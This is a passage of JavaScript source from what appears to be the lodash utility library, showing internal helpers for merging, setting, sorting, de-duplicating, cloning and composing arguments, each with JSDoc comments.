     * @param {*} srcValue The value to match.
     * @returns {Function} Returns the new spec function.
     */
    function baseMatchesProperty(path, srcValue) {
      if (isKey(path) && isStrictComparable(srcValue)) {
        return matchesStrictComparable(toKey(path), srcValue);
      }
      return function(object) {
        var objValue = get(object, path);
        return (objValue === undefined && objValue === srcValue)
          ? hasIn(object, path)
          : baseIsEqual(srcValue, objValue, COMPARE_PARTIAL_FLAG | COMPARE_UNORDERED_FLAG);
      };
    }

    /**
     * The base implementation of `_.merge` without support for multiple sources.
     *
     * @private
     * @param {Object} object The destination object.
     * @param {Object} source The source object.
     * @param {number} srcIndex The index of `source`.
     * @param {Function} [customizer] The function to customize merged values.
     * @param {Object} [stack] Tracks traversed source values and their merged
     *  counterparts.
     */
    function baseMerge(object, source, srcIndex, customizer, stack) {
      if (object === source) {
        return;
      }
      baseFor(source, function(srcValue, key) {
        stack || (stack = new Stack);
        if (isObject(srcValue)) {
          baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
        }
        else {
          var newValue = customizer
            ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
            : undefined;

          if (newValue === undefined) {
            newValue = srcValue;
          }
          assignMergeValue(object, key, newValue);
        }
      }, keysIn);
    }

    /**
     * A specialized version of `baseMerge` for arrays and objects which performs
     * deep merges and tracks traversed objects enabling objects with circular
     * references to be merged.
     *
     * @private
     * @param {Object} object The destination object.
     * @param {Object} source The source object.
     * @param {string} key The key of the value to merge.
     * @param {number} srcIndex The index of `source`.
     * @param {Function} mergeFunc The function to merge values.
     * @param {Function} [customizer] The function to customize assigned values.
     * @param {Object} [stack] Tracks traversed source values and their merged
     *  counterparts.
     */
    function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
      var objValue = safeGet(object, key),
          srcValue = safeGet(source, key),
          stacked = stack.get(srcValue);

      if (stacked) {
        assignMergeValue(object, key, stacked);
        return;
      }
      var newValue = customizer
        ? customizer(objValue, srcValue, (key + ''), object, source, stack)
        : undefined;

      var isCommon = newValue === undefined;

      if (isCommon) {
        var isArr = isArray(srcValue),
            isBuff = !isArr && isBuffer(srcValue),
            isTyped = !isArr && !isBuff && isTypedArray(srcValue);

        newValue = srcValue;
        if (isArr || isBuff || isTyped) {
          if (isArray(objValue)) {
            newValue = objValue;
          }
          else if (isArrayLikeObject(objValue)) {
            newValue = copyArray(objValue);
          }
          else if (isBuff) {
            isCommon = false;
            newValue = cloneBuffer(srcValue, true);
          }
          else if (isTyped) {
            isCommon = false;
            newValue = cloneTypedArray(srcValue, true);
          }
          else {
            newValue = [];
          }
        }
        else if (isPlainObject(srcValue) || isArguments(srcValue)) {
          newValue = objValue;
          if (isArguments(objValue)) {
            newValue = toPlainObject(objValue);
          }
          else if (!isObject(objValue) || isFunction(objValue)) {
            newValue = initCloneObject(srcValue);
          }
        }
        else {
          isCommon = false;
        }
      }
      if (isCommon) {
        // Recursively merge objects and arrays (susceptible to call stack limits).
        stack.set(srcValue, newValue);
        mergeFunc(newValue, srcValue, srcIndex, customizer, stack);
        stack['delete'](srcValue);
      }
      assignMergeValue(object, key, newValue);
    }

    /**
     * The base implementation of `_.nth` which doesn't coerce arguments.
     *
     * @private
     * @param {Array} array The array to query.
     * @param {number} n The index of the element to return.
     * @returns {*} Returns the nth element of `array`.
     */
    function baseNth(array, n) {
      var length = array.length;
      if (!length) {
        return;
      }
      n += n < 0 ? length : 0;
      return isIndex(n, length) ? array[n] : undefined;
    }

    /**
     * The base implementation of `_.orderBy` without param guards.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function[]|Object[]|string[]} iteratees The iteratees to sort by.
     * @param {string[]} orders The sort orders of `iteratees`.
     * @returns {Array} Returns the new sorted array.
     */
    function baseOrderBy(collection, iteratees, orders) {
      if (iteratees.length) {
        iteratees = arrayMap(iteratees, function(iteratee) {
          if (isArray(iteratee)) {
            return function(value) {
              return baseGet(value, iteratee.length === 1 ? iteratee[0] : iteratee);
            }
          }
          return iteratee;
        });
      } else {
        iteratees = [identity];
      }

      var index = -1;
      iteratees = arrayMap(iteratees, baseUnary(getIteratee()));

      var result = baseMap(collection, function(value, key, collection) {
        var criteria = arrayMap(iteratees, function(iteratee) {
          return iteratee(value);
        });
        return { 'criteria': criteria, 'index': ++index, 'value': value };
      });

      return baseSortBy(result, function(object, other) {
        return compareMultiple(object, other, orders);
      });
    }

    /**
     * The base implementation of `_.pick` without support for individual
     * property identifiers.
     *
     * @private
     * @param {Object} object The source object.
     * @param {string[]} paths The property paths to pick.
     * @returns {Object} Returns the new object.
     */
    function basePick(object, paths) {
      return basePickBy(object, paths, function(value, path) {
        return hasIn(object, path);
      });
    }

    /**
     * The base implementation of  `_.pickBy` without support for iteratee shorthands.
     *
     * @private
     * @param {Object} object The source object.
     * @param {string[]} paths The property paths to pick.
     * @param {Function} predicate The function invoked per property.
     * @returns {Object} Returns the new object.
     */
    function basePickBy(object, paths, predicate) {
      var index = -1,
          length = paths.length,
          result = {};

      while (++index < length) {
        var path = paths[index],
            value = baseGet(object, path);

        if (predicate(value, path)) {
          baseSet(result, castPath(path, object), value);
        }
      }
      return result;
    }

    /**
     * A specialized version of `baseProperty` which supports deep paths.
     *
     * @private
     * @param {Array|string} path The path of the property to get.
     * @returns {Function} Returns the new accessor function.
     */
    function basePropertyDeep(path) {
      return function(object) {
        return baseGet(object, path);
      };
    }

    /**
     * The base implementation of `_.pullAllBy` without support for iteratee
     * shorthands.
     *
     * @private
     * @param {Array} array The array to modify.
     * @param {Array} values The values to remove.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns `array`.
     */
    function basePullAll(array, values, iteratee, comparator) {
      var indexOf = comparator ? baseIndexOfWith : baseIndexOf,
          index = -1,
          length = values.length,
          seen = array;

      if (array === values) {
        values = copyArray(values);
      }
      if (iteratee) {
        seen = arrayMap(array, baseUnary(iteratee));
      }
      while (++index < length) {
        var fromIndex = 0,
            value = values[index],
            computed = iteratee ? iteratee(value) : value;

        while ((fromIndex = indexOf(seen, computed, fromIndex, comparator)) > -1) {
          if (seen !== array) {
            splice.call(seen, fromIndex, 1);
          }
          splice.call(array, fromIndex, 1);
        }
      }
      return array;
    }

    /**
     * The base implementation of `_.pullAt` without support for individual
     * indexes or capturing the removed elements.
     *
     * @private
     * @param {Array} array The array to modify.
     * @param {number[]} indexes The indexes of elements to remove.
     * @returns {Array} Returns `array`.
     */
    function basePullAt(array, indexes) {
      var length = array ? indexes.length : 0,
          lastIndex = length - 1;

      while (length--) {
        var index = indexes[length];
        if (length == lastIndex || index !== previous) {
          var previous = index;
          if (isIndex(index)) {
            splice.call(array, index, 1);
          } else {
            baseUnset(array, index);
          }
        }
      }
      return array;
    }

    /**
     * The base implementation of `_.random` without support for returning
     * floating-point numbers.
     *
     * @private
     * @param {number} lower The lower bound.
     * @param {number} upper The upper bound.
     * @returns {number} Returns the random number.
     */
    function baseRandom(lower, upper) {
      return lower + nativeFloor(nativeRandom() * (upper - lower + 1));
    }

    /**
     * The base implementation of `_.range` and `_.rangeRight` which doesn't
     * coerce arguments.
     *
     * @private
     * @param {number} start The start of the range.
     * @param {number} end The end of the range.
     * @param {number} step The value to increment or decrement by.
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Array} Returns the range of numbers.
     */
    function baseRange(start, end, step, fromRight) {
      var index = -1,
          length = nativeMax(nativeCeil((end - start) / (step || 1)), 0),
          result = Array(length);

      while (length--) {
        result[fromRight ? length : ++index] = start;
        start += step;
      }
      return result;
    }

    /**
     * The base implementation of `_.repeat` which doesn't coerce arguments.
     *
     * @private
     * @param {string} string The string to repeat.
     * @param {number} n The number of times to repeat the string.
     * @returns {string} Returns the repeated string.
     */
    function baseRepeat(string, n) {
      var result = '';
      if (!string || n < 1 || n > MAX_SAFE_INTEGER) {
        return result;
      }
      // Leverage the exponentiation by squaring algorithm for a faster repeat.
      // See https://en.wikipedia.org/wiki/Exponentiation_by_squaring for more details.
      do {
        if (n % 2) {
          result += string;
        }
        n = nativeFloor(n / 2);
        if (n) {
          string += string;
        }
      } while (n);

      return result;
    }

    /**
     * The base implementation of `_.rest` which doesn't validate or coerce arguments.
     *
     * @private
     * @param {Function} func The function to apply a rest parameter to.
     * @param {number} [start=func.length-1] The start position of the rest parameter.
     * @returns {Function} Returns the new function.
     */
    function baseRest(func, start) {
      return setToString(overRest(func, start, identity), func + '');
    }

    /**
     * The base implementation of `_.sample`.
     *
     * @private
     * @param {Array|Object} collection The collection to sample.
     * @returns {*} Returns the random element.
     */
    function baseSample(collection) {
      return arraySample(values(collection));
    }

    /**
     * The base implementation of `_.sampleSize` without param guards.
     *
     * @private
     * @param {Array|Object} collection The collection to sample.
     * @param {number} n The number of elements to sample.
     * @returns {Array} Returns the random elements.
     */
    function baseSampleSize(collection, n) {
      var array = values(collection);
      return shuffleSelf(array, baseClamp(n, 0, array.length));
    }

    /**
     * The base implementation of `_.set`.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to set.
     * @param {*} value The value to set.
     * @param {Function} [customizer] The function to customize path creation.
     * @returns {Object} Returns `object`.
     */
    function baseSet(object, path, value, customizer) {
      if (!isObject(object)) {
        return object;
      }
      path = castPath(path, object);

      var index = -1,
          length = path.length,
          lastIndex = length - 1,
          nested = object;

      while (nested != null && ++index < length) {
        var key = toKey(path[index]),
            newValue = value;

        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
          return object;
        }

        if (index != lastIndex) {
          var objValue = nested[key];
          newValue = customizer ? customizer(objValue, key, nested) : undefined;
          if (newValue === undefined) {
            newValue = isObject(objValue)
              ? objValue
              : (isIndex(path[index + 1]) ? [] : {});
          }
        }
        assignValue(nested, key, newValue);
        nested = nested[key];
      }
      return object;
    }

    /**
     * The base implementation of `setData` without support for hot loop shorting.
     *
     * @private
     * @param {Function} func The function to associate metadata with.
     * @param {*} data The metadata.
     * @returns {Function} Returns `func`.
     */
    var baseSetData = !metaMap ? identity : function(func, data) {
      metaMap.set(func, data);
      return func;
    };

    /**
     * The base implementation of `setToString` without support for hot loop shorting.
     *
     * @private
     * @param {Function} func The function to modify.
     * @param {Function} string The `toString` result.
     * @returns {Function} Returns `func`.
     */
    var baseSetToString = !defineProperty ? identity : function(func, string) {
      return defineProperty(func, 'toString', {
        'configurable': true,
        'enumerable': false,
        'value': constant(string),
        'writable': true
      });
    };

    /**
     * The base implementation of `_.shuffle`.
     *
     * @private
     * @param {Array|Object} collection The collection to shuffle.
     * @returns {Array} Returns the new shuffled array.
     */
    function baseShuffle(collection) {
      return shuffleSelf(values(collection));
    }

    /**
     * The base implementation of `_.slice` without an iteratee call guard.
     *
     * @private
     * @param {Array} array The array to slice.
     * @param {number} [start=0] The start position.
     * @param {number} [end=array.length] The end position.
     * @returns {Array} Returns the slice of `array`.
     */
    function baseSlice(array, start, end) {
      var index = -1,
          length = array.length;

      if (start < 0) {
        start = -start > length ? 0 : (length + start);
      }
      end = end > length ? length : end;
      if (end < 0) {
        end += length;
      }
      length = start > end ? 0 : ((end - start) >>> 0);
      start >>>= 0;

      var result = Array(length);
      while (++index < length) {
        result[index] = array[index + start];
      }
      return result;
    }

    /**
     * The base implementation of `_.some` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} predicate The function invoked per iteration.
     * @returns {boolean} Returns `true` if any element passes the predicate check,
     *  else `false`.
     */
    function baseSome(collection, predicate) {
      var result;

      baseEach(collection, function(value, index, collection) {
        result = predicate(value, index, collection);
        return !result;
      });
      return !!result;
    }

    /**
     * The base implementation of `_.sortedIndex` and `_.sortedLastIndex` which
     * performs a binary search of `array` to determine the index at which `value`
     * should be inserted into `array` in order to maintain its sort order.
     *
     * @private
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @param {boolean} [retHighest] Specify returning the highest qualified index.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     */
    function baseSortedIndex(array, value, retHighest) {
      var low = 0,
          high = array == null ? low : array.length;

      if (typeof value == 'number' && value === value && high <= HALF_MAX_ARRAY_LENGTH) {
        while (low < high) {
          var mid = (low + high) >>> 1,
              computed = array[mid];

          if (computed !== null && !isSymbol(computed) &&
              (retHighest ? (computed <= value) : (computed < value))) {
            low = mid + 1;
          } else {
            high = mid;
          }
        }
        return high;
      }
      return baseSortedIndexBy(array, value, identity, retHighest);
    }

    /**
     * The base implementation of `_.sortedIndexBy` and `_.sortedLastIndexBy`
     * which invokes `iteratee` for `value` and each element of `array` to compute
     * their sort ranking. The iteratee is invoked with one argument; (value).
     *
     * @private
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @param {Function} iteratee The iteratee invoked per element.
     * @param {boolean} [retHighest] Specify returning the highest qualified index.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     */
    function baseSortedIndexBy(array, value, iteratee, retHighest) {
      var low = 0,
          high = array == null ? 0 : array.length;
      if (high === 0) {
        return 0;
      }

      value = iteratee(value);
      var valIsNaN = value !== value,
          valIsNull = value === null,
          valIsSymbol = isSymbol(value),
          valIsUndefined = value === undefined;

      while (low < high) {
        var mid = nativeFloor((low + high) / 2),
            computed = iteratee(array[mid]),
            othIsDefined = computed !== undefined,
            othIsNull = computed === null,
            othIsReflexive = computed === computed,
            othIsSymbol = isSymbol(computed);

        if (valIsNaN) {
          var setLow = retHighest || othIsReflexive;
        } else if (valIsUndefined) {
          setLow = othIsReflexive && (retHighest || othIsDefined);
        } else if (valIsNull) {
          setLow = othIsReflexive && othIsDefined && (retHighest || !othIsNull);
        } else if (valIsSymbol) {
          setLow = othIsReflexive && othIsDefined && !othIsNull && (retHighest || !othIsSymbol);
        } else if (othIsNull || othIsSymbol) {
          setLow = false;
        } else {
          setLow = retHighest ? (computed <= value) : (computed < value);
        }
        if (setLow) {
          low = mid + 1;
        } else {
          high = mid;
        }
      }
      return nativeMin(high, MAX_ARRAY_INDEX);
    }

    /**
     * The base implementation of `_.sortedUniq` and `_.sortedUniqBy` without
     * support for iteratee shorthands.
     *
     * @private
     * @param {Array} array The array to inspect.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @returns {Array} Returns the new duplicate free array.
     */
    function baseSortedUniq(array, iteratee) {
      var index = -1,
          length = array.length,
          resIndex = 0,
          result = [];

      while (++index < length) {
        var value = array[index],
            computed = iteratee ? iteratee(value) : value;

        if (!index || !eq(computed, seen)) {
          var seen = computed;
          result[resIndex++] = value === 0 ? 0 : value;
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.toNumber` which doesn't ensure correct
     * conversions of binary, hexadecimal, or octal string values.
     *
     * @private
     * @param {*} value The value to process.
     * @returns {number} Returns the number.
     */
    function baseToNumber(value) {
      if (typeof value == 'number') {
        return value;
      }
      if (isSymbol(value)) {
        return NAN;
      }
      return +value;
    }

    /**
     * The base implementation of `_.toString` which doesn't convert nullish
     * values to empty strings.
     *
     * @private
     * @param {*} value The value to process.
     * @returns {string} Returns the string.
     */
    function baseToString(value) {
      // Exit early for strings to avoid a performance hit in some environments.
      if (typeof value == 'string') {
        return value;
      }
      if (isArray(value)) {
        // Recursively convert values (susceptible to call stack limits).
        return arrayMap(value, baseToString) + '';
      }
      if (isSymbol(value)) {
        return symbolToString ? symbolToString.call(value) : '';
      }
      var result = (value + '');
      return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result;
    }

    /**
     * The base implementation of `_.uniqBy` without support for iteratee shorthands.
     *
     * @private
     * @param {Array} array The array to inspect.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new duplicate free array.
     */
    function baseUniq(array, iteratee, comparator) {
      var index = -1,
          includes = arrayIncludes,
          length = array.length,
          isCommon = true,
          result = [],
          seen = result;

      if (comparator) {
        isCommon = false;
        includes = arrayIncludesWith;
      }
      else if (length >= LARGE_ARRAY_SIZE) {
        var set = iteratee ? null : createSet(array);
        if (set) {
          return setToArray(set);
        }
        isCommon = false;
        includes = cacheHas;
        seen = new SetCache;
      }
      else {
        seen = iteratee ? [] : result;
      }
      outer:
      while (++index < length) {
        var value = array[index],
            computed = iteratee ? iteratee(value) : value;

        value = (comparator || value !== 0) ? value : 0;
        if (isCommon && computed === computed) {
          var seenIndex = seen.length;
          while (seenIndex--) {
            if (seen[seenIndex] === computed) {
              continue outer;
            }
          }
          if (iteratee) {
            seen.push(computed);
          }
          result.push(value);
        }
        else if (!includes(seen, computed, comparator)) {
          if (seen !== result) {
            seen.push(computed);
          }
          result.push(value);
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.unset`.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {Array|string} path The property path to unset.
     * @returns {boolean} Returns `true` if the property is deleted, else `false`.
     */
    function baseUnset(object, path) {
      path = castPath(path, object);
      object = parent(object, path);
      return object == null || delete object[toKey(last(path))];
    }

    /**
     * The base implementation of `_.update`.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to update.
     * @param {Function} updater The function to produce the updated value.
     * @param {Function} [customizer] The function to customize path creation.
     * @returns {Object} Returns `object`.
     */
    function baseUpdate(object, path, updater, customizer) {
      return baseSet(object, path, updater(baseGet(object, path)), customizer);
    }

    /**
     * The base implementation of methods like `_.dropWhile` and `_.takeWhile`
     * without support for iteratee shorthands.
     *
     * @private
     * @param {Array} array The array to query.
     * @param {Function} predicate The function invoked per iteration.
     * @param {boolean} [isDrop] Specify dropping elements instead of taking them.
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Array} Returns the slice of `array`.
     */
    function baseWhile(array, predicate, isDrop, fromRight) {
      var length = array.length,
          index = fromRight ? length : -1;

      while ((fromRight ? index-- : ++index < length) &&
        predicate(array[index], index, array)) {}

      return isDrop
        ? baseSlice(array, (fromRight ? 0 : index), (fromRight ? index + 1 : length))
        : baseSlice(array, (fromRight ? index + 1 : 0), (fromRight ? length : index));
    }

    /**
     * The base implementation of `wrapperValue` which returns the result of
     * performing a sequence of actions on the unwrapped `value`, where each
     * successive action is supplied the return value of the previous.
     *
     * @private
     * @param {*} value The unwrapped value.
     * @param {Array} actions Actions to perform to resolve the unwrapped value.
     * @returns {*} Returns the resolved value.
     */
    function baseWrapperValue(value, actions) {
      var result = value;
      if (result instanceof LazyWrapper) {
        result = result.value();
      }
      return arrayReduce(actions, function(result, action) {
        return action.func.apply(action.thisArg, arrayPush([result], action.args));
      }, result);
    }

    /**
     * The base implementation of methods like `_.xor`, without support for
     * iteratee shorthands, that accepts an array of arrays to inspect.
     *
     * @private
     * @param {Array} arrays The arrays to inspect.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of values.
     */
    function baseXor(arrays, iteratee, comparator) {
      var length = arrays.length;
      if (length < 2) {
        return length ? baseUniq(arrays[0]) : [];
      }
      var index = -1,
          result = Array(length);

      while (++index < length) {
        var array = arrays[index],
            othIndex = -1;

        while (++othIndex < length) {
          if (othIndex != index) {
            result[index] = baseDifference(result[index] || array, arrays[othIndex], iteratee, comparator);
          }
        }
      }
      return baseUniq(baseFlatten(result, 1), iteratee, comparator);
    }

    /**
     * This base implementation of `_.zipObject` which assigns values using `assignFunc`.
     *
     * @private
     * @param {Array} props The property identifiers.
     * @param {Array} values The property values.
     * @param {Function} assignFunc The function to assign values.
     * @returns {Object} Returns the new object.
     */
    function baseZipObject(props, values, assignFunc) {
      var index = -1,
          length = props.length,
          valsLength = values.length,
          result = {};

      while (++index < length) {
        var value = index < valsLength ? values[index] : undefined;
        assignFunc(result, props[index], value);
      }
      return result;
    }

    /**
     * Casts `value` to an empty array if it's not an array like object.
     *
     * @private
     * @param {*} value The value to inspect.
     * @returns {Array|Object} Returns the cast array-like object.
     */
    function castArrayLikeObject(value) {
      return isArrayLikeObject(value) ? value : [];
    }

    /**
     * Casts `value` to `identity` if it's not a function.
     *
     * @private
     * @param {*} value The value to inspect.
     * @returns {Function} Returns cast function.
     */
    function castFunction(value) {
      return typeof value == 'function' ? value : identity;
    }

    /**
     * Casts `value` to a path array if it's not one.
     *
     * @private
     * @param {*} value The value to inspect.
     * @param {Object} [object] The object to query keys on.
     * @returns {Array} Returns the cast property path array.
     */
    function castPath(value, object) {
      if (isArray(value)) {
        return value;
      }
      return isKey(value, object) ? [value] : stringToPath(toString(value));
    }

    /**
     * A `baseRest` alias which can be replaced with `identity` by module
     * replacement plugins.
     *
     * @private
     * @type {Function}
     * @param {Function} func The function to apply a rest parameter to.
     * @returns {Function} Returns the new function.
     */
    var castRest = baseRest;

    /**
     * Casts `array` to a slice if it's needed.
     *
     * @private
     * @param {Array} array The array to inspect.
     * @param {number} start The start position.
     * @param {number} [end=array.length] The end position.
     * @returns {Array} Returns the cast slice.
     */
    function castSlice(array, start, end) {
      var length = array.length;
      end = end === undefined ? length : end;
      return (!start && end >= length) ? array : baseSlice(array, start, end);
    }

    /**
     * A simple wrapper around the global [`clearTimeout`](https://mdn.io/clearTimeout).
     *
     * @private
     * @param {number|Object} id The timer id or timeout object of the timer to clear.
     */
    var clearTimeout = ctxClearTimeout || function(id) {
      return root.clearTimeout(id);
    };

    /**
     * Creates a clone of  `buffer`.
     *
     * @private
     * @param {Buffer} buffer The buffer to clone.
     * @param {boolean} [isDeep] Specify a deep clone.
     * @returns {Buffer} Returns the cloned buffer.
     */
    function cloneBuffer(buffer, isDeep) {
      if (isDeep) {
        return buffer.slice();
      }
      var length = buffer.length,
          result = allocUnsafe ? allocUnsafe(length) : new buffer.constructor(length);

      buffer.copy(result);
      return result;
    }

    /**
     * Creates a clone of `arrayBuffer`.
     *
     * @private
     * @param {ArrayBuffer} arrayBuffer The array buffer to clone.
     * @returns {ArrayBuffer} Returns the cloned array buffer.
     */
    function cloneArrayBuffer(arrayBuffer) {
      var result = new arrayBuffer.constructor(arrayBuffer.byteLength);
      new Uint8Array(result).set(new Uint8Array(arrayBuffer));
      return result;
    }

    /**
     * Creates a clone of `dataView`.
     *
     * @private
     * @param {Object} dataView The data view to clone.
     * @param {boolean} [isDeep] Specify a deep clone.
     * @returns {Object} Returns the cloned data view.
     */
    function cloneDataView(dataView, isDeep) {
      var buffer = isDeep ? cloneArrayBuffer(dataView.buffer) : dataView.buffer;
      return new dataView.constructor(buffer, dataView.byteOffset, dataView.byteLength);
    }

    /**
     * Creates a clone of `regexp`.
     *
     * @private
     * @param {Object} regexp The regexp to clone.
     * @returns {Object} Returns the cloned regexp.
     */
    function cloneRegExp(regexp) {
      var result = new regexp.constructor(regexp.source, reFlags.exec(regexp));
      result.lastIndex = regexp.lastIndex;
      return result;
    }

    /**
     * Creates a clone of the `symbol` object.
     *
     * @private
     * @param {Object} symbol The symbol object to clone.
     * @returns {Object} Returns the cloned symbol object.
     */
    function cloneSymbol(symbol) {
      return symbolValueOf ? Object(symbolValueOf.call(symbol)) : {};
    }

    /**
     * Creates a clone of `typedArray`.
     *
     * @private
     * @param {Object} typedArray The typed array to clone.
     * @param {boolean} [isDeep] Specify a deep clone.
     * @returns {Object} Returns the cloned typed array.
     */
    function cloneTypedArray(typedArray, isDeep) {
      var buffer = isDeep ? cloneArrayBuffer(typedArray.buffer) : typedArray.buffer;
      return new typedArray.constructor(buffer, typedArray.byteOffset, typedArray.length);
    }

    /**
     * Compares values to sort them in ascending order.
     *
     * @private
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {number} Returns the sort order indicator for `value`.
     */
    function compareAscending(value, other) {
      if (value !== other) {
        var valIsDefined = value !== undefined,
            valIsNull = value === null,
            valIsReflexive = value === value,
            valIsSymbol = isSymbol(value);

        var othIsDefined = other !== undefined,
            othIsNull = other === null,
            othIsReflexive = other === other,
            othIsSymbol = isSymbol(other);

        if ((!othIsNull && !othIsSymbol && !valIsSymbol && value > other) ||
            (valIsSymbol && othIsDefined && othIsReflexive && !othIsNull && !othIsSymbol) ||
            (valIsNull && othIsDefined && othIsReflexive) ||
            (!valIsDefined && othIsReflexive) ||
            !valIsReflexive) {
          return 1;
        }
        if ((!valIsNull && !valIsSymbol && !othIsSymbol && value < other) ||
            (othIsSymbol && valIsDefined && valIsReflexive && !valIsNull && !valIsSymbol) ||
            (othIsNull && valIsDefined && valIsReflexive) ||
            (!othIsDefined && valIsReflexive) ||
            !othIsReflexive) {
          return -1;
        }
      }
      return 0;
    }

    /**
     * Used by `_.orderBy` to compare multiple properties of a value to another
     * and stable sort them.
     *
     * If `orders` is unspecified, all values are sorted in ascending order. Otherwise,
     * specify an order of "desc" for descending or "asc" for ascending sort order
     * of corresponding values.
     *
     * @private
     * @param {Object} object The object to compare.
     * @param {Object} other The other object to compare.
     * @param {boolean[]|string[]} orders The order to sort by for each property.
     * @returns {number} Returns the sort order indicator for `object`.
     */
    function compareMultiple(object, other, orders) {
      var index = -1,
          objCriteria = object.criteria,
          othCriteria = other.criteria,
          length = objCriteria.length,
          ordersLength = orders.length;

      while (++index < length) {
        var result = compareAscending(objCriteria[index], othCriteria[index]);
        if (result) {
          if (index >= ordersLength) {
            return result;
          }
          var order = orders[index];
          return result * (order == 'desc' ? -1 : 1);
        }
      }
      // Fixes an `Array#sort` bug in the JS engine embedded in Adobe applications
      // that causes it, under certain circumstances, to provide the same value for
      // `object` and `other`. See https://github.com/jashkenas/underscore/pull/1247
      // for more details.
      //
      // This also ensures a stable sort in V8 and other engines.
      // See https://bugs.chromium.org/p/v8/issues/detail?id=90 for more details.
      return object.index - other.index;
    }

    /**
     * Creates an array that is the composition of partially applied arguments,
     * placeholders, and provided arguments into a single array of arguments.
     *
     * @private
     * @param {Array} args The provided arguments.
     * @param {Array} partials The arguments to prepend to those provided.
     * @param {Array} holders The `partials` placeholder indexes.
     * @params {boolean} [isCurried] Specify composing for a curried function.
     * @returns {Array} Returns the new array of composed arguments.
     */
    function composeArgs(args, partials, holders, isCurried) {
      var argsIndex = -1,
          argsLength = args.length,
          holdersLength = holders.length,
          leftIndex = -1,
          leftLength = partials.length,
          rangeLength = nativeMax(argsLength - holdersLength, 0),
          result = Array(leftLength + rangeLength),
          isUncurried = !isCurried;

      while (++leftIndex < leftLength) {
        result[leftIndex] = partials[leftIndex];
      }
      while (++argsIndex < holdersLength) {
        if (isUncurried || argsIndex < argsLength) {
          result[holders[argsIndex]] = args[argsIndex];
        }
      }
      while (rangeLength--) {
        result[leftIndex++] = args[argsIndex++];
      }
      return result;
    }

    /**
     * This function is like `composeArgs` except that the arguments composition
     * is tailored for `_.partialRight`.
     *
     * @private
     * @param {Array} args The provided arguments.
     * @param {Array} partials The arguments to append to those provided.
     * @param {Array} holders The `partials` placeholder indexes.
     * @params {boolean} [isCurried] Specify composing for a curried function.
     * @returns {Array} Returns the new array of composed arguments.
     */
    function composeArgsRight(args, partials, holders, isCurried) {
      var argsIndex = -1,
          argsLength = args.length,
          holdersIndex = -1,
          holdersLength = holders.length,
          rightIndex = -1,
          rightLength = partials.length,
          rangeLength = nativeMax(argsLength - holdersLength, 0),
          result = Array(rangeLength + rightLength),
          isUncurried = !isCurried;

      while (++argsIndex < rangeLength) {
        result[argsIndex] = args[argsIndex];
      }
      var offset = argsIndex;
      while (++rightIndex < rightLength) {
        result[offset + rightIndex] = partials[rightIndex];
      }
      while (++holdersIndex < holdersLength) {
        if (isUncurried || argsIndex < argsLength) {
          result[offset + holders[holdersIndex]] = args[argsIndex++];
        }
      }
      return result;
    }

    /**
     * Copies the values of `source` to `array`.
     *
     * @private
     * @param {Array} source The array to copy values from.
     * @param {Array} [array=[]] The array to copy values to.
     * @returns {Array} Returns `array`.
     */
    function copyArray(source, array) {
      var index = -1,
          length = source.length;

      array || (array = Array(length));
      while (++index < length) {
        array[index] = source[index];
      }
      return array;
    }

    /**
     * Copies properties of `source` to `object`.
     *
     * @private
     * @param {Object} source The object to copy properties from.
     * @param {Array} props The property identifiers to copy.
     * @param {Object} [object={}] The object to copy properties to.
     * @param {Function} [customizer] The function to customize copied values.
     * @returns {Object} Returns `object`.
     */
    function copyObject(source, props, object, customizer) {
      var isNew = !object;
      object || (object = {});

      var index = -1,
          length = props.length;

      while (++index < length) {
        var key = props[index];

        var newValue = customizer
          ? customizer(object[key], source[key], key, object, source)
          : undefined;

        if (newValue === undefined) {
          newValue = source[key];
        }
        if (isNew) {
          baseAssignValue(object, key, newValue);
        } else {
          assignValue(object, key, newValue);
        }
      }
      return object;
    }

    /**
     * Copies own symbols of `source` to `object`.
     *
     * @private
     * @param {Object} source The object to copy symbols from.
     * @param {Object} [object={}] The object to copy symbols to.
     * @returns {Object} Returns `object`.
     */
    function copySymbols(source, object) {
      return copyObject(source, getSymbols(source), object);
    }

    /**
     * Copies own and inherited symbols of `source` to `object`.
     *
     * @private
     * @param {Object} source The object to copy symbols from.
     * @param {Object} [object={}] The object to copy symbols to.
     * @returns {Object} Returns `object`.
     */
    function copySymbolsIn(source, object) {
      return copyObject(source, getSymbolsIn(source), object);
    }

    /**
     * Creates a function like `_.groupBy`.
     *
     * @private
     * @param {Function} setter The function to set accumulator values.
     * @param {Function} [initializer] The accumulator object initializer.
     * @returns {Function} Returns the new aggregator function.
     */
    function createAggregator(setter, initializer) {
      return function(collection, iteratee) {
        var func = isArray(collection) ? arrayAggregator : baseAggregator,
            accumulator = initializer ? initializer() : {};

        return func(collection, setter, getIteratee(iteratee, 2), accumulator);
      };
    }

    /**
     * Creates a function like `_.assign`.
     *
     * @private
     * @param {Function} assigner The function to assign values.
     * @returns {Function} Returns the new assigner function.
     */
    function createAssigner(assigner) {
      return baseRest(function(object, sources) {
        var index = -1,
